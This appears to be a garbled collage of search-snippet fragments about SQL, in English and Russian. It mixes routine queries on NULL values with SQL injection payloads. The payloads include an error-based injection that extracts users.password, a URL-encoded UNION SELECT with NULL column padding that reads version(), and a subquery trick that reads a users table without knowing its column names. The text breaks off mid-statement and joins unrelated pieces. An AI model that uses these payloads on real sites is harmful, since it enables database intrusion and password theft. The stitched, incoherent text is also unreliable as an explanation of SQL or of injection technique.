1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
Select row from table from each schema. 1. Oracle Select from multple Tables.
...20NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
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SELECT COUNT(*), 'null_tally' AS narrative FROM us WHERE a IS NULL UNION SELECT COUNT(*), 'not_null_tally' AS narrative FROM us WHERE a IS NOT
Смысл select null - это вывод пустого столбца (ну мало ли, вам надо 13 столбцов выдать, а в таблице только 12 - вот чтобы не изобретать составное поле, на расчет которого сервер потратит время и ресурсы, добавляют в select еще null). В вашем примере это действительно проверка...
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select `4` from (select 1,2,3,4,5,6 union select * from users)dbname; Injection example inside the query select author_id,title from posts where author_id
SELECT column_names FROM table_name WHERE column_name IS NOT NULL